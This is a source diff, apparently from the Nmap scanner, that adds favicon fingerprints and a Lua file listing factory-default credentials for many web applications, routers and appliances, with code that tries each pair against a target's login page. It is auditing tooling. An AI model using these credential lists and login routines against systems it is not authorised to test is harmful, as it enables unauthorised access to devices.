+292B586171617B56E77EE694485B1052: hover domain forwarding
+4644F2D45601037B8423D45E13194C93: Apache Tomcat
+BEFCDED36AEC1E59EA624582FCB3225C: Thomson/Speedtouch Device
+D16A0DA12074DAE41980A6918D33F031: Thomson/Speedtouch 605 Device
+EDAAEF7BBD3072A3A0C3FB3B29900BCB: Reynolds WebMakerX auto sales CMS
+73778A17B0D22FFBB7D6C445A7947B92: Apache on Mac OS X
+B25DBE60830705D98BA3AAF0568C456A: iPlanet web server
+81ED5FA6453CF406D1D82233BA355B9A: E-zekiel church CMS
+226FFC5E483B85EC261654FE255E60BE: Netscape Enterprise Server 4
+639B61409215D770A99667B446C80EA1: IBM Lotus Notes Collaboration Software
+7DBE9ACC2AB6E64D59FA67637B1239DF: IBM Lotus Domino Collaboration Software
+A8FE5B8AE2C445A33AC41B33CCC9A120: Arris Touchstone Device
+
+# Other icons that are good to know but don't have measured frequency data.
+
+# sslstrip 0.7 lock.ico.
+70625A6E60529A85CC51AD7DA2D5580D: sslstrip
+B4EF6B5F343C8DF8FEA454C04B2FD614: Sourcefire http admin
+
+# Cakephp's favicon.ico
+C0533AE5D0ED638BA3FB3485D8250A28: CakePHP 1.1.x application
+66B3119D379AEE26BA668FEF49188DD3: CakePHP 1.2.x-1.3.x Application
+
+# Top new favicons according to Shodan.io 2018-08-11
+89B932FCC47CF4CA3FAADB0CFDEF89CF: Hikvision DVR
+45210ACE96CE9C893F8C27C5DECAB10D: FRITZ!Box
+#BD9E17C46BBBC18AF2A2BD718DDDAD0E: DVR? Intelbras, maybe
+C60EA375C39D1AB273C4D1BEE717287A: Synology DiskStation Manager
+6DCAB71E60F0242907940F0FCDA69EA5: Ubiquiti AirOS
+1DB747255C64A30F9236E9D929E986CA: Parallels Plesk
+F3418A443E7D841097C714D69EC4BCB8: Google
+E462005902F81094AB3DE44E4381DE19: Fortinet
+60FA7ED2309D77DE1F9DC5E7C741AC48: SonicWall
+88644C0B60BF24B96D3D15F19196944E: Ubee Interactive Cable Modem
+
+# Top new favicons according to Shodan.io 2020-09-03
+9637EBD168435DE51FEA8193D2D89E39: OSS-Labs BT Panel
+7EF1F0A0093460FE46BB691578C07C95: DedeCMS
+0F584138AACFB79AABA7E2539FC4E642: Plex
+A1EADAF7974E7CE9889A5D7A07844590: Outlook Web App 2013-2019
+650B28C6CF1B473AED15BA26BAD1DA92: Plesk Obsidian
+5E4FCC77C49E69B4F55AED91C05256F3: ASUS AiCloud
+0488FACA4C19046B94D07C3EE83CF9D6: Spring Java Framework
diff --git a/nselib/data/http-default-accounts-fingerprints.lua b/nselib/data/http-default-accounts-fingerprints.lua
new file mode 100644
index 0000000..c5a5030
--- /dev/null
+++ b/nselib/data/http-default-accounts-fingerprints.lua
@@ -0,0 +1,1738 @@
+local base64 = require "base64"
+local http = require "http"
+local json = require "json"
+local math = require "math"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local tableaux = require "tableaux"
+local url = require "url"
+local have_openssl, openssl = pcall(require, 'openssl')
+
+---
+-- http-default-accounts-fingerprints.lua
+-- This file contains fingerprint data for http-default-accounts.nse
+--
+-- STRUCTURE:
+-- * <code>name</code> - Descriptive name
+-- * <code>cpe</code> - Official CPE Dictionary entry (optional)
+-- * <code>category</code> - Category
+-- * <code>login_combos</code> - Table of default credential pairs
+---- * <code>username</code>
+---- * <code>password</code>
+-- * <code>paths</code> - Table of likely locations (paths) of the target
+-- * <code>target_check</code> - Validation function of the target (optional)
+-- * <code>login_check</code> - Login function of the target
+---
+
+---
+-- Requests given path using http.get() but disabling cache and redirects.
+-- @param host The host to connect to
+-- @param port The port to connect to
+-- @param path The path to retrieve
+-- @param options [optional] A table of HTTP request options
+-- @return A response table (see library http.lua for description)
+---
+local function http_get_simple (host, port, path, options)
+ local opts = tableaux.tcopy(options or {})
+ opts.bypass_cache = true
+ opts.no_cache = true
+ opts.redirect_ok = false
+ return http.get(host, port, path, opts)
+end
+
+---
+-- Requests given path using http.post() but disabling cache and redirects.
+-- (The current implementation of http.post() does not use either; this is
+-- a defensive wrapper to guard against future problems.)
+-- @param host The host to connect to
+-- @param port The port to connect to
+-- @param path The path to retrieve
+-- @param options [optional] A table of HTTP request options
+-- @param postdata A string or a table of data to be posted
+-- @return A response table (see library http.lua for description)
+---
+local function http_post_simple (host, port, path, options, postdata)
+ local opts = tableaux.tcopy(options or {})
+ opts.no_cache = true
+ opts.redirect_ok = false
+ return http.post(host, port, path, opts, nil, postdata)
+end
+
+---
+-- Requests given path using basic authentication.
+-- @param host Host table
+-- @param port Port table
+-- @param path Path to request
+-- @param user Username for Basic Auth
+-- @param pass Password for Basic Auth
+-- @param digest_auth Digest Authentication
+-- @return True if login in was successful
+---
+local function try_http_basic_login(host, port, path, user, pass, digest_auth)
+ local credentials = {username = user, password = pass, digest = digest_auth}
+ local resp = http_get_simple(host, port, path, {auth=credentials})
+ return resp.status
+ and resp.status ~= 400
+ and resp.status ~= 401
+ and resp.status ~= 403
+ and resp.status ~= 404
+end
+
+---
+-- Tries to login with a http post, if the FAIL string is not found
+-- we assume login in was successful
+-- @param host Host table
+-- @param port Port table
+-- @param target Target file
+-- @param failstr String shown when login in fails
+-- @param params Post parameters
+-- @param follow_redirects True if you want redirects to be followed
+-- @return True if login in was successful
+---
+local function try_http_post_login(host, port, path, target, failstr, params, follow_redirects)
+ local resp = http_post_simple(host, port, url.absolute(path, target), nil, params)
+ if not resp.status then return false end
+ local status = tonumber(resp.status) or 0
+ if follow_redirects and ( status > 300 and status < 400 ) then
+ resp = http_get_simple(host, port, url.absolute(path, resp.header.location))
+ end
+ if resp.status and resp.status ~= 404 and not(http.response_contains(resp, failstr)) then
+ return true
+ end
+ return false
+end
+
+---
+-- Returns authentication realm advertised in an HTTP response
+-- @param response HTTP response object, such as a result from http.get()
+-- @return realm found in response header WWW-Authenticate
+-- (or nil if not present)
+---
+local function http_auth_realm(response)
+ local auth = response.header["www-authenticate"] or ""
+ return auth:match('%srealm%s*=%s*"([^"]*)')
+end
+
+---
+-- Tests whether an HTTP response sets a named cookie with a given value
+-- @param response a standard HTTP response object
+-- @param name a case-insensitive cookie name that must be set
+-- @param pattern to validate the cookie value
+-- @return cookie value if such a cookie is found
+---
+local function sets_cookie(response, name, pattern)
+ name = name:lower()
+ for _, ck in ipairs(response.cookies or {}) do
+ if ck.name:lower() == name then
+ return (not pattern or ck.value:find(pattern)) and ck.value
+ end
+ end
+ return false
+end
+
+---
+-- Generates default scheme, host, and port components for a parsed URL.
+--
+-- This filter function generates the scheme, host, and port components from
+-- the standard <code>host</code> and <code>port</code> script objects. These
+-- components can then be passed onto function <code>url.build</code>.
+--
+-- As an example, the following code generates a URL for path "/test/"
+-- on the current host and port:
+-- <code>
+-- local testurl = url.build(url_build_defaults(host, port, {path = "/test/"}))
+-- </code>
+-- or, alternatively, when not used as a filter:
+-- <code>
+-- local parsed = url_build_defaults(host, port)
+-- parsed.path = "/test/"
+-- local testurl = url.build(parsed)
+-- </code>
+--
+-- @param host The host the URL is intended for.
+-- @param port The port the URL is intended for.
+-- @param parsed Parsed URL, as typically returned by <code>url.parse</code>,
+-- or nil. The table can be be missing the scheme, host, and port components.
+-- @return A clone of the parsed URL, with any missing scheme, host, and port
+-- components added.
+-- @see url.parse
+-- @see url.build
+---
+local function url_build_defaults (host, port, parsed)
+ local parts = tableaux.tcopy(parsed or {})
+ parts.host = parts.host or stdnse.get_hostname(host, port)
+ parts.scheme = parts.scheme or shortport.ssl(host, port) and "https" or "http"
+ if not parts.port and port.number ~= url.get_default_port(parts.scheme) then
+ parts.port = port.number
+ end
+ return parts
+end
+
+---
+-- Encodes a string to make it safe for embedding into XML/HTML.
+--
+-- @param s The string to be encoded.
+-- @return A string with unsafe characters encoded
+---
+local function xmlencode (s)
+ return s:gsub("%W", function (c) return ("&#x%x;"):format(c:byte()) end)
+end
+
+fingerprints = {}
+
+---
+--WEB
+---
+table.insert(fingerprints, {
+ -- Version 0.8.8a
+ name = "Cacti",
+ cpe = "cpe:/a:cacti:cacti",
+ category = "web",
+ paths = {
+ {path = "/"},
+ {path = "/cacti/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and (sets_cookie(response, "Cacti") or sets_cookie(response, "CactiEZ"))
+ end,
+ login_combos = {
+ {username = "admin", password = "admin"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_post_login(host, port, path, "index.php",
+ "%sname%s*=%s*(['\"]?)login_password%1[%s>]",
+ {action="login", login_username=user, login_password=pass})
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 2.0.6
+ name = "Zabbix",
+ cpe = "cpe:/a:zabbix:zabbix",
+ category = "web",
+ paths = {
+ {path = "/zabbix/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200 and sets_cookie(response, "zbx_sessionid")
+ end,
+ login_combos = {
+ {username = "admin", password = "zabbix"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local resp = http_post_simple(host, port, url.absolute(path, "index.php"), nil,
+ {request="", name=user, password=pass, enter="Sign in"})
+ return resp.status == 302 and resp.header["location"] == "dashboard.php"
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 0.7, 1.0.1
+ name = "Xplico",
+ category = "web",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 302 and sets_cookie(response, "Xplico")
+ end,
+ login_combos = {
+ {username = "admin", password = "xplico"},
+ {username = "xplico", password = "xplico"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local lurl = url.absolute(path, "users/login")
+ -- harvest all hidden fields from the login form
+ local resp1 = http_get_simple(host, port, lurl)
+ if resp1.status ~= 200 then return false end
+ local html = (resp1.body or ""):match('<form%s+action%s*=%s*"[^"]*/users/login".->(.-)</form>')
+ if not html then return false end
+ local form = {}
+ for n, v in html:gmatch('<input%s+type%s*=%s*"hidden"%s+name%s*=%s*"(.-)"%s+value%s*=%s*"(.-)"') do
+ form[n] = v
+ end
+ -- add username and password to the form and submit it
+ form["data[User][username]"] = user
+ form["data[User][password]"] = pass
+ local resp2 = http_post_simple(host, port, lurl, {cookies=resp1.cookies}, form)
+ local loc = resp2.header["location"] or ""
+ return resp2.status == 302
+ and (loc:find("/admins$") or loc:find("/pols/index$"))
+ end
+})
+
+table.insert(fingerprints, {
+ --Version 5.3.1.1944 on EH6000
+ name = "ExtraHop Web UI",
+ category = "web",
+ paths = {
+ {path = "/extrahop/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.body
+ and response.body:find("csrfmiddlewaretoken", 1, true)
+ and response.body:lower():find("<title>extrahop login", 1, true)
+ end,
+ login_combos = {
+ {username = "admin", password = "admin"}
+ },
+ login_check = function (host, port, path, user, pass)
+ -- obtain cookies and a CSRF token
+ local resp1 = http_get_simple(host, port, path)
+ if not (resp1.status == 200 and resp1.body) then return false end
+ local tname, tvalue = resp1.body:match("<input%s+type%s*=%s*'hidden'%s+name%s*=%s*'(csrfmiddlewaretoken)'%s+value%s*=%s*'(.-)'")
+ if not tname then return false end
+ local form = {[tname]=tvalue,
+ next=path,
+ username=user,
+ password=pass}
+ -- Referer header is mandatory
+ local header = {["Referer"]=url.build(url_build_defaults(host, port, {path=path}))}
+ local resp2 = http_post_simple(host, port, path,
+ {cookies=resp1.cookies, header=header}, form)
+ return resp2.status == 302
+ and (resp2.header["location"] or ""):find("/extrahop/$")
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 3.2.3, 3.4.4, 4.0.8
+ name = "Nagios",
+ cpe = "cpe:/a:nagios:nagios",
+ category = "web",
+ paths = {
+ {path = "/"},
+ {path = "/nagios/"}
+ },
+ target_check = function (host, port, path, response)
+ return http_auth_realm(response) == "Nagios Access"
+ end,
+ login_combos = {
+ {username = "nagiosadmin", password = "nagios"},
+ {username = "nagiosadmin", password = "nagiosadmin"},
+ -- IBM PurePower Integrated Manager
+ {username = "nagiosadmin", password = "PASSW0RD"},
+ -- CactiEZ
+ {username = "nagiosadmin", password = "CactiEZ"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port, path, user, pass, false)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 3.1.1, 4.0.2, 4.1.2
+ name = "Grafana",
+ category = "web",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 302 and sets_cookie(response, "grafana_sess")
+ end,
+ login_combos = {
+ {username = "admin", password = "admin"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local header = {["Accept"] = "application/json, text/plain, */*",
+ ["Content-Type"] = "application/json;charset=utf-8"}
+ local jin = {user=user, email="", password=pass}
+ json.make_object(jin)
+ local resp = http_post_simple(host, port, url.absolute(path, "login"),
+ {header=header}, json.generate(jin))
+ return resp.status == 200 and sets_cookie(resp, "grafana_user") == user
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 8.1, 9.2, 10.3.4, 10.3.6, 12.1.2
+ name = "WebLogic Server Console",
+ cpe = "cpe:/a:bea:weblogic_server",
+ category = "web",
+ paths = {
+ {path = "/console/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 302
+ and (response.header["location"] or ""):find("/console/login/LoginForm%.jsp%f[;\0]")
+ end,
+ login_combos = {
+ -- WebLogic 9.x
+ {username = "weblogic", password = "weblogic"},
+ -- WebLogic 10.x, 12.x
+ {username = "weblogic", password = "weblogic1"},
+ {username = "weblogic", password = "welcome1"},
+ -- Adobe LiveCycle ES
+ {username = "weblogic", password = "password"},
+ -- PeopleSoft
+ {username = "system", password = "Passw0rd"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local resp = http_post_simple(host, port,
+ url.absolute(path, "j_security_check"), nil,
+ {j_username=user,j_password=pass,j_character_encoding="UTF-8"})
+ -- WebLogic 8.x, 9.x
+ if resp.status == 403 then return false end
+ -- WebLogic 10.x, 12.x
+ if resp.status == 302
+ and (resp.header["location"] or ""):find("/console/login/LoginForm%.jsp$") then
+ return false
+ end
+ return true
+ end
+})
+
+table.insert(fingerprints, {
+ name = "Apache Tomcat",
+ cpe = "cpe:/a:apache:tomcat",
+ category = "web",
+ paths = {
+ {path = "/manager/html/"},
+ {path = "/manager/status/"},
+ {path = "/manager/text/"},
+ {path = "/tomcat/manager/html/"},
+ {path = "/tomcat/manager/status/"},
+ {path = "/tomcat/manager/text/"},
+ {path = "/cognos_express/manager/html/"}
+ },
+ target_check = function (host, port, path, response)
+ return http_auth_realm(response) == "Tomcat Manager Application"
+ end,
+ login_combos = {
+ {username = "tomcat", password = "tomcat"},
+ {username = "admin", password = "admin"},
+ -- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3548
+ {username = "admin", password = ""},
+ -- https://github.com/seshendra/vagrant-ubuntu-tomcat7/
+ {username = "admin", password = "tomcat"},
+ -- https://github.com/apache/tomcat/blob/2b8f9665dbfb89c78878784cd9b63d2b976ba623/webapps/manager/WEB-INF/jsp/403.jsp#L66
+ {username = "tomcat", password = "s3cret"},
+ -- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4094
+ {username = "ADMIN", password = "ADMIN"},
+ -- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4189
+ {username = "ovwebusr", password = "OvW*busr1"},
+ -- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4188
+ {username = "j2deployer", password = "j2deployer"},
+ -- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0557
+ {username = "cxsdk", password = "kdsxc"},
+ -- XAMPP https://www.apachefriends.org/index.html
+ {username = "xampp", password = "xampp"},
+ -- QLogic QConvergeConsole http://www.qlogic.com/
+ {username = "QCC", password = "QLogic66"},
+ -- HAPI FHIR http://hapifhir.io/
+ {username = "fhir", password = "FHIRDefaultPassword"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port, path, user, pass, false)
+ end
+})
+
+table.insert(fingerprints, {
+ name = "Apache Tomcat Host Manager",
+ cpe = "cpe:/a:apache:tomcat",
+ category = "web",
+ paths = {
+ {path = "/host-manager/html/"},
+ {path = "/host-manager/text/"},
+ {path = "/tomcat/host-manager/html/"},
+ {path = "/tomcat/host-manager/text/"}
+ },
+ target_check = function (host, port, path, response)
+ return http_auth_realm(response) == "Tomcat Host Manager Application"
+ end,
+ login_combos = {
+ {username = "tomcat", password = "tomcat"},
+ {username = "admin", password = "admin"},
+ -- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3548
+ {username = "admin", password = ""},
+ -- https://github.com/seshendra/vagrant-ubuntu-tomcat7/
+ {username = "admin", password = "tomcat"},
+ -- https://github.com/apache/tomcat/blob/2b8f9665dbfb89c78878784cd9b63d2b976ba623/webapps/manager/WEB-INF/jsp/403.jsp#L66
+ {username = "tomcat", password = "s3cret"},
+ -- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4094
+ {username = "ADMIN", password = "ADMIN"},
+ -- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4189
+ {username = "ovwebusr", password = "OvW*busr1"},
+ -- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4188
+ {username = "j2deployer", password = "j2deployer"},
+ -- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0557
+ {username = "cxsdk", password = "kdsxc"},
+ -- XAMPP https://www.apachefriends.org/index.html
+ {username = "xampp", password = "xampp"},
+ -- QLogic QConvergeConsole http://www.qlogic.com/
+ {username = "QCC", password = "QLogic66"},
+ -- HAPI FHIR http://hapifhir.io/
+ {username = "fhir", password = "FHIRDefaultPassword"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port, path, user, pass, false)
+ end
+})
+
+table.insert(fingerprints, {
+ name = "Apache Felix OSGi Management Console",
+ category = "web",
+ paths = {
+ {path = "/system/console"},
+ {path = "/lc/system/console"}
+ },
+ target_check = function (host, port, path, response)
+ return http_auth_realm(response) == "OSGi Management Console"
+ end,
+ login_combos = {
+ {username = "admin", password = "admin"},
+ {username = "karaf", password = "karaf"},
+ {username = "smx", password = "smx"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port, path, user, pass, false)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 1.4.1, 1.5.2, 1.5.3, 1.6.0, 1.6.1
+ name = "Apache Axis2",
+ cpe = "cpe:/a:apache:axis2",
+ category = "web",
+ paths = {
+ {path = "/axis2/axis2-admin/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.body
+ and response.body:lower():find("<title>login to axis2 :: administration page</title>", 1, true)
+ end,
+ login_combos = {
+ {username = "admin", password = "axis2"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local resp = http_post_simple(host, port, url.absolute(path, "login"), nil,
+ {userName=user,password=pass,submit=" Login "})
+ return resp.status == 200
+ and (resp.body or ""):lower():find("<a%s+href%s*=%s*(['\"])axis2%-admin/logout%1")
+ end
+})
+
+table.insert(fingerprints, {
+ name = "Plumtree Portal",
+ category = "web",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 302
+ and (response.header["location"] or ""):find("/portal/server%.pt$")
+ end,
+ login_combos = {
+ {username = "Administrator", password = ""}
+ },
+ login_check = function (host, port, path, user, pass)
+ local form = {in_hi_space="Login",
+ in_hi_spaceID="0",
+ in_hi_control="Login",
+ in_hi_dologin="true",
+ in_tx_username=user,
+ in_pw_userpass=pass,
+ in_se_authsource=""}
+ local resp = http_post_simple(host, port,
+ url.absolute(path, "portal/server.pt"),
+ nil, form)
+ return resp.status == 302
+ and (resp.header["location"] or ""):find("/portal/server%.pt[;?]")
+ and sets_cookie(resp, "plloginoccured") == "true"
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 0.4.4.6.1 on SamuraiWTF 2.6, 0.4.7.0 on Kali 2016.2
+ name = "BeEF",
+ category = "web",
+ paths = {
+ {path = "/ui/authentication/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.body
+ and response.body:find("BeEF", 1, true)
+ and response.body:lower():find("<title>beef authentication</title>", 1, true)
+ end,
+ login_combos = {
+ {username = "beef", password = "beef"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local resp = http_post_simple(host, port, url.absolute(path, "login"), nil,
+ {["username-cfrm"]=user, ["password-cfrm"]=pass})
+ return resp.status == 200
+ and (resp.body or ""):find("{%s*success%s*:%s*true%s*}")
+ end
+})
+
+table.insert(fingerprints, {
+ name = "Pure Storage",
+ category = "web",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.body:find("<title>Pure Storage Login</title>", 1, true)
+ end,
+ login_combos = {
+ {username = "pureuser", password = "pureuser"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_post_login(host, port, path, "login",
+ "{%s*Welcome%s*:%s*Invalid%s*}",
+ {["username"]=user, ["password"]=pass})
+ end
+})
+
+table.insert(fingerprints, {
+ name = "Active MQ",
+ category = "web",
+ paths = {
+ {path = "/admin"}
+ },
+ target_check = function (host, port, path, response)
+ return http_auth_realm(response) == "ActiveMQRealm"
+ end,
+ login_combos = {
+ {username = "admin", password = "admin"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port, path, user, pass, false)
+ end
+})
+---
+--ROUTERS
+---
+table.insert(fingerprints, {
+ name = "Arris 2307",
+ category = "routers",
+ paths = {
+ {path = "/logo_t.gif"}
+ },
+ login_combos = {
+ {username = "", password = ""}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_post_login(host, port, path, "login.cgi", "Login Error !!", {action="submit", page="", logout="", pws=pass})
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 12.2SE on Catalyst 3750, 3845, CBS3020, 12.3 on Aironet 1300
+ name = "Cisco IOS",
+ cpe = "cpe:/o:cisco:ios",
+ category = "routers",
+ paths = {
+ {path = "/"},
+ -- TODO: Remove these paths completely unless a bug gets filed (9/1/2016)
+ -- (The paths are likely redundant. "/" should be covering all the cases.)
+ -- {path = "/exec/show/log/CR"},
+ -- {path = "/level/15/exec/-/configure/http"},
+ -- {path = "/level/15/exec/-"},
+ -- {path = "/level/15/"}
+ },
+ target_check = function (host, port, path, response)
+ local realm = http_auth_realm(response) or ""
+ -- Exact PCRE: "^level 15?( or view)? access$"
+ return realm:gsub("_"," "):find("^level 15?%f[ ].* access$")
+ end,
+ login_combos = {
+ {username = "", password = ""},
+ {username = "cisco", password = "cisco"},
+ {username = "Cisco", password = "Cisco"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port, path, user, pass, false)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version (see below)
+ name = "Cisco Linksys",
+ cpe = "cpe:/h:linksys:*",
+ category = "routers",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ -- realm="Linksys WAP200", "Linksys WAP55AG", "Linksys E2000"
+ return (http_auth_realm(response) or ""):find("^Linksys %u[%u%d]+$")
+ end,
+ login_combos = {
+ -- WAP55AG, version 1.07.01
+ -- E2000, version 1.0.03 (any username is valid)
+ {username = "", password = "admin"},
+ -- WAP200, version 1.0.22
+ {username = "admin", password = "admin"},
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port, path, user, pass, false)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version ESIP-12-v302r125573-131230c_upc on EPC3925
+ -- ES-16-E138-c3220r55103-150810 on EPC3928AD
+ name = "Cisco EPC39xx",
+ cpe = "cpe:/h:cisco:epc39*",
+ category = "routers",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.body
+ and response.body:find("Docsis", 1, true)
+ and response.body:find("window%.location%.href%s*=%s*(['\"])Docsis_system%.asp%1")
+ end,
+ login_combos = {
+ {username = "", password = ""},
+ {username = "admin", password = "admin"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local form = {username_login=user,
+ password_login=pass,
+ LanguageSelect="en",
+ Language_Submit="0",
+ login="Log In"}
+ local resp = http_post_simple(host, port,
+ url.absolute(path, "goform/Docsis_system"),
+ nil, form)
+ local loc = resp.header["location"] or ""
+ return resp.status == 302
+ and (loc:find("/Quick_setup%.asp$") or loc:find("/Administration%.asp$"))
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 1.0.1.3 on RT-N10U, RT-N66U
+ name = "ASUS RT",
+ cpe = "cpe:/h:asus:rt-*",
+ category = "routers",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ -- realm="RT-N10U", "RT-N66U"
+ return (http_auth_realm(response) or ""):find("^RT%-%u[%u%d]+$")
+ end,
+ login_combos = {
+ {username = "admin", password = "admin"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port, path, user, pass, false)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 5.00.12 on F5D7234-4
+ name = "Belkin G Wireless Router",
+ cpe = "cpe:/h:belkin:f5d7234-4",
+ category = "routers",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return have_openssl
+ and response.status == 200
+ and response.body
+ and response.body:find("setup_top.htm", 1, true)
+ and response.body:find("status.stm", 1, true)
+ end,
+ login_combos = {
+ {username = "", password = ""}
+ },
+ login_check = function (host, port, path, user, pass)
+ local resp = http_post_simple(host, port,
+ url.absolute(path, "cgi-bin/login.exe"), nil,
+ -- this should be local time, not UTC
+ {totalMSec = stdnse.clock_ms()/1000,
+ pws = stdnse.tohex(openssl.md5(pass))})
+ return resp.status == 302
+ and (resp.header["location"] or ""):find("/index%.htm$")
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 1.00.12 on F9K1001 v1
+ name = "Belkin N150",
+ cpe = "cpe:/h:belkin:n150_f9k1001",
+ category = "routers",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return have_openssl
+ and response.status == 200
+ and response.body
+ and response.body:find("Belkin", 1, true)
+ and response.body:find("isAPmode", 1, true)
+ and response.body:lower():find("showmenu.js", 1, true)
+ end,
+ login_combos = {
+ {username = "", password = ""}
+ },
+ login_check = function (host, port, path, user, pass)
+ local form = {page="",
+ logout="",
+ action="submit",
+ pws=base64.enc(pass),
+ itsbutton1="Submit",
+ h_language="en",
+ is_parent_window="1"}
+ local resp = http_post_simple(host, port, url.absolute(path, "login.cgi"),
+ nil, form)
+ return resp.status == 200
+ and resp.body
+ and resp.body:find("index.html", 1, true)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version H131-310CTU-C07_R01_4.5.5.27
+ name = "Comtrend NexusLink-5631",
+ category = "routers",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return http_auth_realm(response) == "DSL Router"
+ end,
+ login_combos = {
+ {username = "apuser", password = "apuser"},
+ {username = "root", password = "12345"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port, path, user, pass, false)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 1.0.1-00 on model 5554
+ name = "Zoom ADSL X5",
+ category = "routers",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 301
+ and (response.header["server"] or ""):find("^Nucleus/%d+%.")
+ and (response.header["location"] or ""):find("/hag/pages/home%.htm$")
+ end,
+ login_combos = {
+ {username = "admin", password = "zoomadsl"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port,
+ url.absolute(path, "hag/pages/home.htm"),
+ user, pass, false)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 2.3, 2.4 on FVS318
+ name = "Netgear ProSafe Firewall FVS318",
+ cpe = "cpe:/h:netgear:fvs318",
+ category = "routers",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.header["server"] == "Netgear"
+ and response.body
+ and response.body:lower():find("<frame%s+src%s*=%s*(['\"]?)top.html%1%s")
+ end,
+ login_combos = {
+ {username = "admin", password = "password"}
+ },
+ login_check = function (host, port, path, user, pass)
+ return try_http_basic_login(host, port, url.absolute(path, "top.html"),
+ user, pass, false)
+ end
+})
+
+table.insert(fingerprints, {
+ -- Version 2.00.03, .05, .07, .08 on GS108Ev3, GS108PEv3
+ name = "Netgear ProSafe Plus Switch",
+ cpe = "cpe:/h:netgear:gs108*",
+ category = "routers",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and response.body
+ and response.body:find("loginTData", 1, true)
+ and response.body:lower():find("<title>netgear ", 1, true)
+ end,
+ login_combos = {
+ {username = "", password = "password"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local resp = http_post_simple(host, port, url.absolute(path, "login.cgi"),
+ nil, {password=pass})
+ return resp.status == 200 and sets_cookie(resp, "GS108SID", ".")
+ end
+})
+
+table.insert(fingerprints, {
+ -- AP6521, AP6522, AP7522, AP7532
+ name = "Motorola AP",
+ category = "routers",
+ paths = {
+ {path = "/"}
+ },
+ target_check = function (host, port, path, response)
+ return response.status == 200
+ and (response.header["server"] or ""):find("^lighttpd/%d+%.")
+ and response.body
+ and response.body:lower():find("<title>motorola solutions</title>", 1, true)
+ end,
+ login_combos = {
+ {username = "admin", password = "motorola"}
+ },
+ login_check = function (host, port, path, user, pass)
+ local form = {_dc = math.floor(stdnse.clock_ms()),
+ username = user,
+ password = pass}
+ local lurl = url.absolute(path, "rest.fcgi/services/rest/login?" .. url.build_query(form))
+ local resp = http_get_simple(host, port, lurl)
+ if not (resp.status == 200 and resp.body) then return false end
+ local jstatus, jout = json.parse(resp.body)
+ return jstatus and jout.status
+ end
